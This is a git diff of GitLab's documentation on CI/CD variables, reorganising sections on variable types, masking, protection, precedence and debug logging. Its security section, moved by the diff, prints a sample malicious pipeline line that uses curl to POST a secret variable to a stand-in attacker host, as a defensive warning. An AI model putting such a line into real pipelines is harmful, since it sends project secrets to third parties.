diff options
Diffstat (limited to 'doc/ci/variables/index.md')
| -rw-r--r-- | doc/ci/variables/index.md | 538 |
1 files changed, 230 insertions, 308 deletions
diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 10dfa0174a0..5a1426b1356 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,21 +13,19 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: +You can use: -- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). -- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). -- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). +- [Predefined CI/CD variables](#predefined-cicd-variables). +- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). -NOTE: -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). > For more information about advanced use of GitLab CI/CD: > @@ -38,53 +36,22 @@ variables: ## Predefined CI/CD variables -GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -you can use in pipelines configuration and job scripts. - -### Use predefined CI/CD variables +GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) +available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables +in your `.gitlab-ci.yml` without declaring them first. -You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. - -This example shows how to output a job's stage by using the `CI_JOB_STAGE` -predefined variable: +For example: ```yaml -test_variable: +job1: stage: test script: - echo "$CI_JOB_STAGE" ``` -The script outputs the `stage` for the `test_variable`, which is `test`: +The script in this example outputs the stage for the `job1` job, which is `test`. - - -## Custom CI/CD variables - -You can create custom CI/CD variables: - -- For a project: - - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#add-a-cicd-variable-to-a-project). - - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). -- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). - -You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), -or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). - -There are two types of variables: [`File` or `Variable`](#cicd-variable-types). - -Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) -to execute scripts. Each shell has its own set of reserved variable names. - -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - -By default, pipelines from forked projects can't access CI/CD variables in the parent project. -If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), -all variables become available to the pipeline. - -### Create a custom CI/CD variable in the `.gitlab-ci.yml` file +## Define a CI/CD variable in the `.gitlab-ci.yml` file To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, define the variable and value with `variables` keyword. @@ -125,33 +92,29 @@ Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Use variables in other variables +## Define a CI/CD variable in the UI -You can use variables inside other variables: +You can define CI/CD variables in the UI: -```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS"' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al' -``` +- For a project: + - [In the project's settings](#for-a-project). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#for-a-group). +- For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -#### Use the `$` character in variables +By default, pipelines from forked projects can't access CI/CD variables in the parent project. +If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), +all variables become available to the pipeline. -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). +To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: ```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS" $$TMP_DIR' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +variables: + SA_PASSWORD: $SA_PASSWORD ``` -### Add a CI/CD variable to a project +### For a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. @@ -167,40 +130,28 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md). + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -After you create a variable, you can use it in the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the [`.gitlab-ci.yml` configuration](../yaml/index.md) +or in [job scripts](#use-cicd-variables-in-job-scripts). -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" # calls a predefined variable - - echo "$TEST" # calls a custom variable of type `env_var` - - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file - - cat "$GREETING" # the temp file itself contains the variable value -``` - -The output is: - - - -### Add a CI/CD variable to a group +### For a group > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. Only group owners can add or update group-level CI/CD variables. +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. +You must be a group owner. Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -- Do **not** use an external key store. +- Do not use an external key store. - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). To add a group variable: @@ -210,27 +161,19 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope** Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -#### View all group-level variables available in a project - -To view all the group-level variables available in a project: - -1. In the project, go to **Settings > CI/CD**. -1. Expand the **Variables** section. +The group variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. Variables from [subgroups](../../user/group/subgroups/index.md) +are recursively inherited. -Variables from [subgroups](../../user/group/subgroups/index.md) are recursively -inherited. - - - -### Add a CI/CD variable to an instance **(FREE SELF)** +### For an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. @@ -248,90 +191,43 @@ To add an instance variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), - 10,000 characters is allowed. This is also bounded by the limits of the selected - runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. - - **Type**: [`File` or `Variable`](#cicd-variable-types). + the value is limited to 10,000 characters, but also bounded by any limits in the + runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters. + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). -### CI/CD variable types - -All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: - -- Consist of a key and value pair. -- Are made available in jobs as environment variables, with: - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value as the environment variable value. - -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: - -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value saved to a temporary file. - - The path to the temporary file as the environment variable value. - -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) -and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. - -For example, if you have the following variables: - -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +The instance variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. -Use the variables in a job script like this: - -```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" -``` +## CI/CD variable security -WARNING: -Be careful when assigning the value of a file variable to another variable. The other -variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. - -An alternative to `File` type variables is to: - -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" -``` +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: -#### Store multiple values in one variable +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). +- Merge the changes. -It is not possible to create a CI/CD variable that is an array of values, but you -can use shell scripting techniques for similar behavior. +Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. -For example, you can store multiple variables separated by a space in a variable, -then loop through the values with a script: +The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -job1: - variables: - FOLDERS: src test docs +build: script: - - | - for FOLDER in $FOLDERS - do - echo "The path is root/${FOLDER}" - done + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. @@ -360,7 +256,7 @@ WARNING: Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is "best-effort" and there to help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#cicd-variable-types) +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) to prevent commands such as `env`/`printenv` from printing secret variables. Runner versions implement masking in different ways, some with technical @@ -372,7 +268,7 @@ limitations. Below is a table of such limitations. | v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | | v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | -### Protected CI/CD variables +### Protect a CI/CD variable You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on [protected branches](../../user/project/protected_branches.md) @@ -394,60 +290,61 @@ To mark a variable as protected: The variable is available for all subsequent pipelines. -### Expand CI/CD variables +### Use file type CI/CD variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 13.7. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. -Expanded variables treat values with the `$` character as a reference to another variable. CI/CD variables are expanded -by default. +`Variable` type variables: -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. -1. In the project or group, go to **Settings > CI/CD**. -1. Expand the **Variables** section. -1. Next to the variable you want to do not want expanded, select **Edit**. -1. Clear the **Expand variable** checkbox. -1. Select **Update variable**. +Use `File` type CI/CD variables for tools that need a file as input. -### CI/CD variable security +`File` type variables: -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. -Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) +use `File` type variables for configuration. -- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). -- Merge the changes. +For example, if you have the following variables: -Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. -The following example shows malicious code in a `.gitlab-ci.yml` file: +Use the variables in a job script like this: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +```shell +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) -and stored in the database. This data can only be read and decrypted with a -valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). - -### Custom variables validated by GitLab +WARNING: +Be careful when assigning the value of a file variable to another variable. The other +variable takes the content of the file as its value, **not** the path to the file. +See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. -Some variables are listed in the UI so you can choose them more quickly. +An alternative to `File` type variables is to: -| Variable | Allowed Values | Introduced in | -|-------------------------|----------------------------------------------------|---------------| -| `AWS_ACCESS_KEY_ID` | Any | 12.10 | -| `AWS_DEFAULT_REGION` | Any | 12.10 | -| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. -WARNING: -When you store credentials, there are [security implications](#cicd-variable-security). -If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). +```shell +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +``` ## Use CI/CD variables in job scripts @@ -457,7 +354,7 @@ shell. To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -### Use variables with Bash, `sh` and similar +### With Bash, `sh` and similar To access environment variables in Bash, `sh`, and similar shells, prefix the CI/CD variable with (`$`): @@ -468,7 +365,7 @@ job_name: - echo "$CI_JOB_ID" ``` -### Use variables with PowerShell +### With PowerShell To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with (`$env:`) or (`$`): @@ -490,7 +387,7 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Use variables with Windows Batch +### With Windows Batch To access CI/CD variables in Windows Batch, surround the variable with `%`: @@ -510,48 +407,7 @@ job_name: - echo !ERROR_MESSAGE! ``` -### List all environment variables - -You can list all environment variables available to a script with the `export` command -in Bash or `dir env:` in PowerShell. This exposes the values of **all** available -variables, which can be a [security risk](#cicd-variable-security). -[Masked variables](#mask-a-cicd-variable) display as `[masked]`. - -For example: - -```yaml -job_name: - script: - - export - # - 'dir env:' # Use this for PowerShell -``` - -Example job log output (truncated): - -```shell -export CI_JOB_ID="50" -export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" -export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="main" -export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" -export CI_COMMIT_TAG="1.0.0" -export CI_JOB_NAME="spec:other" -export CI_JOB_STAGE="test" -export CI_JOB_MANUAL="true" -export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="[masked]" -export CI_PIPELINE_ID="1000" -export CI_PIPELINE_IID="10" -export CI_PAGES_DOMAIN="gitlab.io" -export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" -export CI_PROJECT_ID="34" -export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" -export CI_PROJECT_NAME="gitlab-foss" -export CI_PROJECT_TITLE="GitLab FOSS" -... -``` - -## Pass an environment variable to another job +### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. @@ -566,7 +422,7 @@ they can be used in job scripts. - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) -artifact. + artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). Inherited variables [take precedence](#cicd-variable-precedence) over @@ -616,7 +472,6 @@ deploy_one: name: customer1 deployment_tier: production - deploy_two: stage: deploy script: @@ -636,7 +491,6 @@ deploy_three: name: customer3 deployment_tier: production - deploy_four: stage: deploy script: @@ -663,6 +517,67 @@ deploy_five: [Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) can also inherit variables from their upstream pipelines. +### Store multiple values in one variable + +You cannot create a CI/CD variable that is an array of values, but you +can use shell scripting techniques for similar behavior. + +For example, you can store multiple variables separated by a space in a variable, +then loop through the values with a script: + +```yaml +job1: + variables: + FOLDERS: src test docs + script: + - | + for FOLDER in $FOLDERS + do + echo "The path is root/${FOLDER}" + done +``` + +## Use CI/CD variables in other variables + +You can use variables inside other variables: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS"' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al' +``` + +### Use the `$` character in CI/CD variables + +If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS" $$TMP_DIR' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +``` + +### Prevent CI/CD variable expansion + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. + +Expanded variables treat values with the `$` character as a reference to another variable. +CI/CD variables are expanded by default. + +To treat variables with a `$` character as raw strings, disable variable expansion for the variable: + +1. In the project or group, go to **Settings > CI/CD**. +1. Expand the **Variables** section. +1. Next to the variable you want to do not want expanded, select **Edit**. +1. Clear the **Expand variable** checkbox. +1. Select **Update variable**. + ## CI/CD variable precedence You can use CI/CD variables with the same name in different places, but the values @@ -676,16 +591,16 @@ The order of precedence for variables is (from highest to lowest): - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). -1. Project [variables](#custom-cicd-variables). -1. Group [variables](#add-a-cicd-variable-to-a-group). If the same variable name exists in a +1. Project [variables](#for-a-project). +1. Group [variables](#for-a-group). If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. -1. Instance [variables](#add-a-cicd-variable-to-an-instance). +1. Instance [variables](#for-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. -1. [Deployment variables](#deployment-variables). +1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. @@ -702,7 +617,7 @@ job1: - echo "The variable value is $API_TOKEN" ``` -## Override a defined CI/CD variable +### Override a defined CI/CD variable You can override the value of a variable when you: @@ -743,46 +658,66 @@ use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. -## Limit the environment scope of a CI/CD variable +## Related topics -By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a -compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is -a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting -the environment scope of a variable. GitLab does this by -[defining which environments and corresponding jobs](../environments/index.md) -the variable can be available for. +- You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables + to a running application. To make a CI/CD variable available as an environment variable in the running application's container, + [prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) + with `K8S_SECRET_`. -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs). +- The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) + video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) + working example project. It explains how multiple levels of group CI/CD variables + can be combined with environment-scoped project variables for complex configuration + of application builds or deployments. -To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected -branches or tags, see [Protected CI/CD variables](#protected-cicd-variables). + The example can be copied to your own group or instance for testing. More details + on what other GitLab CI patterns are demonstrated are available at the project page. -## Deployment variables +## Troubleshooting -Integrations that are responsible for deployment configuration can define their own -variables that are set in the build environment. These variables are only defined -for [deployment jobs](../environments/index.md). +### List all variables -For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) -defines deployment variables that you can use with the integration. - -The [documentation for each integration](../../user/project/integrations/index.md) -explains if the integration has any deployment variables available. - -## Auto DevOps environment variables +You can list all variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. -You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables -to a running application. +For example: -To make a CI/CD variable available as an environment variable in the running application's container, -[prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) -with `K8S_SECRET_`. +```yaml +job_name: + script: + - export + # - 'dir env:' # Use this for PowerShell +``` -CI/CD variables with multi-line values are not supported. +Example job log output (truncated): -## Debug logging +```shell +export CI_JOB_ID="50" +export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" +export CI_COMMIT_SHORT_SHA="1ecfd275" +export CI_COMMIT_REF_NAME="main" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" +export CI_COMMIT_TAG="1.0.0" +export CI_JOB_NAME="spec:other" +export CI_JOB_STAGE="test" +export CI_JOB_MANUAL="true" +export CI_JOB_TRIGGERED="true" +export CI_JOB_TOKEN="[masked]" +export CI_PIPELINE_ID="1000" +export CI_PIPELINE_IID="10" +export CI_PAGES_DOMAIN="gitlab.io" +export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" +export CI_PROJECT_ID="34" +export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" +export CI_PROJECT_NAME="gitlab-foss" +export CI_PROJECT_TITLE="GitLab FOSS" +... +``` -> Introduced in GitLab Runner 1.7. +### Enable debug logging WARNING: Debug logging can be a serious security risk. The output contains the content of @@ -798,8 +733,6 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -### Enable Debug logging - To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml @@ -881,7 +814,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ... ``` -### Restrict access to debug logging +#### Restrict access to debug logging > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. @@ -890,21 +823,10 @@ You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in: -- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The [`.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). - The CI/CD variables set in the GitLab UI. WARNING: If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself. - -## Video walkthrough of a working example - -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) -video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) -working example project. It explains how multiple levels of group CI/CD variables -can be combined with environment-scoped project variables for complex configuration -of application builds or deployments. - -The example can be copied to your own group or instance for testing. More details -on what other GitLab CI patterns are demonstrated are available at the project page. |